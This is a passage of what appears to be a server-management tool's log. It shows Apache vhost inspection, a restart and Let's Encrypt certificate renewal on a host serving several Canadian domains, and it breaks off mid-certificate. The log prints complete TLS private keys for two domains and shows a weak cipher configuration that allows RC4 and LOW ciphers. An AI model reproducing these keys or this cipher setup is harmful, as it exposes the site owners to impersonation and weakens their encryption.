	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/bucketgigs_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/bucketgigs_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/bucketgigs_www_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/bucketgigs_www_ca.conf= 1'
fi


2026-01-14 06:01:32: 

chmod 755 /tmp/pkp473344; /tmp/pkp473344; rm /tmp/pkp473344

2026-01-14 06:01:32: 




2026-01-14 06:01:32: 

PUT: /tmp/pkp477388

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-14 06:01:32: 

chmod 755 /tmp/pkp477388; /tmp/pkp477388; rm /tmp/pkp477388

2026-01-14 06:01:32: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-14 06:01:33: Establishing a connection
2026-01-14 06:01:33: 

PUT: /tmp/pkp529554

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-14 06:01:33: 

chmod 755 /tmp/pkp529554; /tmp/pkp529554; rm /tmp/pkp529554

2026-01-14 06:01:33: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-14 06:01:33: 

PUT: /tmp/pkp310846

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/bucketgigs_www_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-14 06:01:33: 

chmod 755 /tmp/pkp310846; /tmp/pkp310846; rm /tmp/pkp310846

2026-01-14 06:01:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bucketgigs_www_ca.conf	1379

<VirtualHost *:80>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bucketgigs.ca
    ServerAlias	www.bucketgigs.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt
    DocumentRoot	/var/www/bucketgigs_www
    <Directory /var/www/bucketgigs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bucketgigs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bucketgigs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-14 06:01:33: 

PUT: /tmp/pkp253888

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-14 06:01:33: 

chmod 755 /tmp/pkp253888; /tmp/pkp253888; rm /tmp/pkp253888

2026-01-14 06:01:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt	5368
75:4a:09:4f:79:b7:88:bb:85:41:b8:56:07:9a:e8:a4

-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBvfmH60FIX9A5+0U+ENPSo0GMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTE0MDUwMzAwWhcNMjYwNDE0MDUwMjU5WjAYMRYwFAYDVQQD
Ew1idWNrZXRnaWdzLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
uUiCn2H8oGMTRXgWTqo1RbqWp3a7gQKnXnLT1X45qcl2uonTwuaiKNld1j7FpsYV
8R3oX4t9ClvVqXIfJY0WAQ/TtAonDWN3ZUX5z2LIJ0f6Wb68LGw/vx+74IqWA1I+
RWr/Nkv5jNB0tfnzuorZ0lxHMRoL4YQ2O/T+AKKVt6onu2t+O17GVzpehLGLujPK
UghKxYyXInhXIE3AsWiuWYWYmu2QHqPH1q52S60VcSSxv4mYNQj8rL7qxzKj6f9R
D+D2TVIiVChgKiZeymUPBlADJaRQlApYEr39oO2DF1gYJBdPd5hRuqpAPdkHjM7C
NZIQCjfT5mitaeAO1cxqmwIDAQABo4ICLjCCAiowDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBRTiP024npK6ozEOidSlKuI6T/qEzAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWJ1Y2tldGdpZ3MuY2GCEXd3dy5i
dWNrZXRnaWdzLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC0GA1UdHwQmMCQwIqAg
oB6GHGh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNy5jcmwwggEDBgorBgEEAdZ5AgQC
BIH0BIHxAO8AdQAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZu7
GE7VAAAEAwBGMEQCIDdpXRhTOUDNuu7htGTkploLlTOkGInccKtqFV9gcigMAiAB
K1JDTAMj5RcmO8IyLGz1EyKCYS39UCdXXIjLUnMVwwB2ANFuqaVoB35mNaA/N6Xd
vAOlPEESFNSIGPXpMbMjy5UEAAABm7sYT5gAAAQDAEcwRQIhAL/9qEgYsHWBCpG5
GDH7a94nDmJEi/muxONlg6ToWApnAiANcd9RmtV0hx8+uciiTvDMGgntawk7RWjf
i+po2IcWGzANBgkqhkiG9w0BAQsFAAOCAQEAYb/ZK2zyttVCCkpVLerXPO5TG+cA
ijDGxN8u2ErO5klF3FK9/6kCBL1nVEzjFTRTKC4LMdeexiPhyPJSdlYuSN9HdoDF
wV14lORy0FxB0NPkNUuWeCWLRDC8eYQIBpUQFPKcLhEbj5y5Zhho0m+V/KP0FdFH
9YXWPdvMQ1uQQHeQFdFtm8d31mPTBCFXPNyHKqHkcWFZ39gXBxKE+LRtT91mZrZE
I7IeVGLAlPb84fvYsKlVzc1BGtMCz5kCs6F+b6H6+TNcXa+wfgFQGfrP5CjGMZDw
DAl8BiyGVumdVfDdqMzDIgYQhGjrDXinLB81+MUx6pYYPjPkgc2kcmWtEw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC5SIKfYfygYxNF
eBZOqjVFupandruBAqdectPVfjmpyXa6idPC5qIo2V3WPsWmxhXxHehfi30KW9Wp
ch8ljRYBD9O0CicNY3dlRfnPYsgnR/pZvrwsbD+/H7vgipYDUj5Fav82S/mM0HS1
+fO6itnSXEcxGgvhhDY79P4AopW3qie7a347XsZXOl6EsYu6M8pSCErFjJcieFcg
TcCxaK5ZhZia7ZAeo8fWrnZLrRVxJLG/iZg1CPysvurHMqPp/1EP4PZNUiJUKGAq
Jl7KZQ8GUAMlpFCUClgSvf2g7YMXWBgkF093mFG6qkA92QeMzsI1khAKN9PmaK1p
4A7VzGqbAgMBAAECggEAPACK6KGbZbdgDM28b6I4WUn5MudFBpz85Z3LEybq9pyb
GgK7dLEqz47BEDpI2N7qSSjV0WdDSaD+2v5trsP3XcWp2fK1veS5zC6ynSIQzoPF
Q938Y2h05miY97j5pr6yEtn5JzTIbn0tZqc48m635qNinLiiI1ilFZqbzUnZsV3Y
gwg9dUhsliWrg83xF/Pu3RstBIjBxGZ3yZubx1PU65n89SxAAU81kCSQ3XNriOQ9
TQflJmkDLibITWjAn+yfkoExj23JuUURy+gJU79OIWZxPJeUWOlqPBHxs05dZqLC
JGuNW2xi7LjCllGEVIlXmnJzE349b71+ltr4XkTW7QKBgQDkXjr2ifwj/JaaP2MF
zWvVsff/8NgXuf99ReYO6tiwbo6U+QppHcI0mmMKcPAgPnv43fCXzEVciCsy0VJv
HTJg34CDUln6EGefqqHMhnoggAyUuVnCJFNSfzwf9qANsXqrQlROMU9w3mkcXeJP
HsFgAVR+yzottJqbJFCz7X5CPQKBgQDPs7bJkd5SD9PVCxuMyJOMRonK1+qTEUKf
oONf4wWLzh0Ll2cgsC7gbDWyhq4PsEOzJHeztWxCOCd98H7Vo9QglivxKRc0Cugg
vGKep9tM/IBTQLHq0fOYjAty789Etxt4K3ui3u15PVWD7KbeFk3wM5/r5Lhjs9RH
hYx4NZ1ltwKBgEn84ZuYrxE1t9F3sexiVoqgo1nPvSNKxqTerZ+tpNDcsONBIIdX
9eC3GFl8p7+6ns3NkjKMIvjMwTowqUWIrxbFssxZNP+YqwoG7W7nLtAyzGCvAI6u
2DQFNwSgEdD97GFqFwhSX4uQ83sWS8kYjMw/AhImY84FEoYrKN5ylpJ9AoGAH+um
s+PPHx1/mMZUPZa11mEg3CPC0UddzdqUFzB0sb/DhvyFxOhOy/7VYdKA/bhBL07z
dpLzSFoI97n2RC8hcsChkDaYck8aza0mGuwBMBu+PQ08SrJplZAwUkG4wP7DIfzM
y4MnS/K5KcU8//S9laTZdw93pxsEDNnhdLgIsJECgYB04/FWcnEaa5X6JTWrvpg5
zKezXxCUMRNokSWIh17lFQv4fn/IJLGy/gIMTdK0+NT/6c+v6fWhN/n2LsDcnt0X
g+eLVOUAyRjM2CVl3Ier9fmZ4mfXZlfpyMMaPKZG5AGJKYtpgMhYRFTGhozQrKsU
IUYJ+13+RPq99i6jNZ4HYQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-14 06:01:33: Establishing a connection
2026-01-14 06:01:33: Establishing a connection
2026-01-14 06:01:33: 

PUT: /tmp/pkp378792

#!/bin/bash
if [ -d "/var/www/drewmarshall_preacheridol/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-14 06:01:34: 

chmod 755 /tmp/pkp378792; /tmp/pkp378792; rm /tmp/pkp378792

2026-01-14 06:01:34: 


1


2026-01-14 06:01:34: Establishing a connection
2026-01-14 06:01:34: 

PUT: /tmp/pkp807523

#!/bin/bash
mkdir -p "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
cat > Es7w86pmhWJOaEUAU9S2T7mV6L9z9DdYocnODpYVhJE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Es7w86pmhWJOaEUAU9S2T7mV6L9z9DdYocnODpYVhJE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Es7w86pmhWJOaEUAU9S2T7mV6L9z9DdYocnODpYVhJE


2026-01-14 06:01:34: 

chmod 755 /tmp/pkp807523; /tmp/pkp807523; rm /tmp/pkp807523

2026-01-14 06:01:34: 




2026-01-14 06:01:45: Establishing a connection
2026-01-14 06:01:45: 

PUT: /tmp/pkp406728

#!/bin/bash
mkdir -p "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
rm Es7w86pmhWJOaEUAU9S2T7mV6L9z9DdYocnODpYVhJE


2026-01-14 06:01:45: 

chmod 755 /tmp/pkp406728; /tmp/pkp406728; rm /tmp/pkp406728

2026-01-14 06:01:45: 




2026-01-14 06:01:45: Establishing a connection
2026-01-14 06:01:45: 

PUT: /tmp/pkp159935

#!/bin/bash
temp_file=$(mktemp)
TARGET=dedbbb759062bdb197a5a897ec5601b7.crt

cat > $temp_file <<'endmsg'
3c:3f:ec:23:b2:12:86:7c:30:25:e9:00:af:c7:9d:c6

-----BEGIN CERTIFICATE-----
MIIFHDCCBASgAwIBAgISBpaxjDciU4A1x1ugVY+aWiguMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTE0MDUwMzE0WhcNMjYwNDE0MDUwMzEzWjAnMSUwIwYDVQQD
ExxwcmVhY2hlcmlkb2wuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAw5A3LYmMi+YVWvf3+QtMcb14WAyyMfGNsAvr6HB79xrK
Mt1IqEtRQGxMsxtlAI/fj4CGC0VAY3AZTr3NqzaYBcdkjZmONM4PyNJhlvAVR0Ql
4/+4iIly37x7E2tNVZl0VWkOC4fDAqzmRJ0S02CbHV79UVmrnOshalL2ZWuY72Fn
TNJO8tpM6H5+yEsXcYze01wHTNCybYcesCnmgoRKOyYpNZ4jGynnHC7pji4wBHY3
NMCQQM2Qd2JOOi6Iqq7Desr6nFcURGWVvvF5ccVgd3/e59IewTlNrASr4YukOj5W
OOgAKpus3Yi6Uc0LR0aLPlkOCSkazvc/fS4iEpPBbQIDAQABo4ICNDCCAjAwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBSOBguvwcCmU0XDbtCGflHi4tYoXTAfBgNVHSME
GDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHHByZWFj
aGVyaWRvbC5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy80Ny5jcmwwggEM
BgorBgEEAdZ5AgQCBIH9BIH6APgAdQDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWF
sMsUwxRY5wAAAZu7GIMnAAAEAwBGMEQCIHr1Tnn54PPatKXbv6FE1PGiNFUM17l1
eLKInjuTBQcXAiB/p4uiU/k6slpOh/J2FOXc6Vok/cYiorC4wtCPgkJnbQB/ABqL
nWlKV5jImaDKiL30j8C0VmDMw2ANH3H0af/H0ayjAAABm7sYhCQACAAABQA2rsNg
BAMASDBGAiEAxCtt/IOMPoq4GScINzyh1F29T42dhxz1wAYw1OiBGg0CIQCi4hbh
vtEYlTyB7kTbCfa9ieYOrbBsbYVwarSfeXnPNjANBgkqhkiG9w0BAQsFAAOCAQEA
NCCkKm9MahKRW9or9SewfE4Gc0/ZJqSOc7emVzB/jE6mRgAORF7G7ebRcKNmpVpw
0384u1Nf5MLT4qeYkhIW+RuXPt9F8kV8n/sPpVWWwVwByHXM/H72acP+PSnD2+MQ
+ymHLS6C79t6gEoZ16dEC3hIyadN/qMqSrDunBtvNkikqjMEm99IqqG7Ln7FD1W1
4nP4/T2RCe9DTcLK7zoxyDdKl6NjdhulUpk/yoNtjVQDlnfCBgltQGdXphMeJdcv
YQeNdsN4lyuz9SkzM2XULIk++qr1Wym5iyHmsnuuRIvSHiQ4czsAA2m1NcPTB3Nu
bNg5hO8qcwdvXi+woEkCyQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDDkDctiYyL5hVa
9/f5C0xxvXhYDLIx8Y2wC+vocHv3Gsoy3UioS1FAbEyzG2UAj9+PgIYLRUBjcBlO
vc2rNpgFx2SNmY40zg/I0mGW8BVHRCXj/7iIiXLfvHsTa01VmXRVaQ4Lh8MCrOZE
nRLTYJsdXv1RWauc6yFqUvZla5jvYWdM0k7y2kzofn7ISxdxjN7TXAdM0LJthx6w
KeaChEo7Jik1niMbKeccLumOLjAEdjc0wJBAzZB3Yk46LoiqrsN6yvqcVxREZZW+
8XlxxWB3f97n0h7BOU2sBKvhi6Q6PlY46AAqm6zdiLpRzQtHRos+WQ4JKRrO9z99
LiISk8FtAgMBAAECggEABGNTgZ+Q+kCe4QwoUbu5quGr9hnO08UOP1F9KRmBBpHg
0JRbgX8zIwVrESe/s+wGgaNKHq2enLySrMwgdcODVLndHTpBURkAjKp/yxG3AILc
cMm3m8StwaxqfIyPTyjizdnOGV8h9ojnn8mAdyK3SEjt2SnwalRySv7yjWMFKvXT
7CQmmBscIbGtLji04UqnxpWz2djxsIi9CqY9FezdtvUFyAAxq8t2nocMOh7TpkXt
e3iUUbfcGtI1As5GJR9ClzibH1HjBJU3WdCdDswHw37fD0dZ+QxiI+EZVAmy2R+g
IWd6gDMq+p15WvDaDim6/+eMgZ8uEbwZdOkaZMB+MQKBgQD8+dtibG2vbd1uYoxY
nur7Mx2edLb00PelG/pjnTzZfpXWM8T6Yi0wj3Aw2yIUZJp3eFPRlIznjNlCTnu8
5EPdWAogctMGcDLLn7GxMWbVqcam6GiFMXlIW4JhVoXMTTAG+Mow2epNEJhv4tnQ
8BSeanZOWLRTiSL28SYJBE/VtQKBgQDF5qrkeOWRENDJYuRrFemEAixnAer9rj4/
oFK5RTYYEXqFfUhfedsg666pLRNJIbdoGWDbLAD5OjbntSiTpiPriSvbp6SM1UoK
yo9zZd7WF9zPhG7dpfi9zfyNt9iv1ECqHtigGwsse0xjx0PVGrxiwB43WMTp7n5W
H9LyhRoP2QKBgAcjIX5oYrvVVK79lsoVSbnmmkpTLqo/jw0Yefr/f6z/NkkB0ufh
hzbchSTLue1rXTRLr8m08DjEL4kAX9tXcVa4WijKNIv09GnsSn4eT7Fthc5FtlUz
rSFOe6I1Z7b44ob/0+yG6WZdNn/Jna2YaGyDwmy5cfT9ZIAlE5ajiYEVAoGBAKQF
8PH4Od0oIMQpUMRonuionICrmEa1miZGDQo9kP4VzoTBN7DaYIJClLrm/ysH5OlE
z4AYUp4+X69f+MeXVgIr6MvfgISxavLSvF6aujyb/omIbBMNMsKt7XrQO6pPs2DM
vCLHB1XQw5mXWGNSC32VWfXpfxucbd2X9tDG/LjRAoGARe3uslXyfrobOkEsWhUY
NWOx9Ixo/ZqqU4/tCuRWaPhmMO+El5vUJtjKHorSNK3vSXuiHBb9pP83w3bcoTCw
QzN6CJYQEDDfiUnyHcySMnF7cJD6Xidobt5k80Aq9LKUO2U4xKJ1Ymd/S4y0cjj/
WjyJxH4voaedkzVCxi3iBvg=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
